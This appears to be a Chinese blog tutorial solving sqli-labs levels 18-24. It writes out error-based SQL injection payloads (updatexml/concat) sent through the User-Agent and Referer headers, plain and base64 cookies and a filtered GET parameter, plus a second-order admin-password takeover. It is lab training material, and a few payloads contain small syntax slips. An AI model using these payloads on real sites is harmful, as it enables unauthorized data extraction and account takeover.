以sqlilabs靶场为例,讲解SQL注入攻击原理【18-24关】

【less-18】

打开时,获取了自己的IP地址。,通过分析源码知道,会将用户的user-agent作为参数记录到数据库中。

提交的是信息有user-Agent、IP、uname信息。

此时可以借助Burp Suite 工具,修改user_agent,实现sql注入。

最后得到数据库名:security。

解题步骤:

bash 复制代码
//第一步获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1) -- +  

//第二步获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),1,1) -- + 

//第三步获取数据表字段
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1),1,1) -- +

【less-19】

与less-18,唯一的区别是,提交的信息不再是user-agent,而是referer。

解题步骤:

bash 复制代码
//第一步获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1) -- +  


//第二步获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),1,1) -- + 

//第三步获取数据表字段
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1),1,1) -- +

【less-20】

从上图的信息可以看出登录之后,记录的信息是类似的,根据前两题的经验,尝试使用user-agent、referr、cookie信息进行注入。

经过验证将抓包的cookie进行更改

改为:

结果为:

其他步骤:

bash 复制代码
# 第二步获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- + 

# 第三步获取数据表字段
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1) -- +

【less-21】

通过抓包和源码分析可以得出:less-21使用的是cookie,而且还是base64加密的。

和Less-20注入原理相同,不同的是在修改cookie时,先转成base64的值。

先将注入编码进行base64编码。

然后再把编制的码代入到cookie中。

出现错误,是因为"-- +"在进行base64编码时出现了问题。

可以将"-- +" 替换为 '1' = '1

具体代码:

bash 复制代码
admin 'and updatexml(1,concat(0x7e,(select database(),0x7e),1) -- +

#改为

admin 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

#对应的base64编码

YWRtaW4gJ2FuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAnMSc9JzE=

调试结果:

其他步骤和Less-20类似,区别都是要变成base64加密。

bash 复制代码
# 第二步获取数据表名
admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and '1'='1

# 第三步获取数据表字段
admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1) and '1'='1

【less-22】

通过分析源码得知,基本Less-21相似,唯一的区别就是单引号变成了双引号。

解题步骤和Less-21相同。

bash 复制代码
#第一步获取数据库

admin "and updatexml(1,concat(0x7e,(select database()),0x7e),1) and "1"="1

# 第二步获取数据表名
admin" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and "1"="1

# 第三步获取数据表字段
admin" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="emails" ),0x7e),1) and "1"="1

结果:

【less-23】

less-23是一种GET方式的注入,使用之前的方式,发现无法注入,分析源码,得知之前用的 注释(-- 和# 都被替换了空)。

此时尝试一种新的注释方式: '1' ='1 以消除原本SQL语句中的引号。

解题方法:

bash 复制代码
# 获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

# 获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e),1) or '1'='1

# 获取数据字段
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),0x7e),1) or '1'='1

结果为:

【less-24】

less24是一个二次注入的案例。

分析源码:

可以看出只有用户名(username)没有用mysql_real_escape_string()对特殊字符进行转义。

解题步骤:

1.注册admin用户

2.登录并修改admin密码

3.尝试使用admin账号和新密码登录,破解管理员账号。

相关推荐
wowocpp1 小时前
查看 linux ubuntu 分区 和 挂载 情况 lsblk
linux·运维·ubuntu
wowocpp1 小时前
查看 磁盘文件系统格式 linux ubuntu blkid ext4
linux·数据库·ubuntu
C吴新科4 小时前
MySQL入门操作详解
mysql
_.Switch4 小时前
高级Python自动化运维:容器安全与网络策略的深度解析
运维·网络·python·安全·自动化·devops
2401_850410834 小时前
文件系统和日志管理
linux·运维·服务器
JokerSZ.4 小时前
【基于LSM的ELF文件安全模块设计】参考
运维·网络·安全
芯盾时代5 小时前
数字身份发展趋势前瞻:身份韧性与安全
运维·安全·网络安全·密码学·信息与通信
心灵彼岸-诗和远方6 小时前
DevOps业务价值流:架构设计最佳实践
运维·产品经理·devops
一只哒布刘6 小时前
NFS服务器
运维·服务器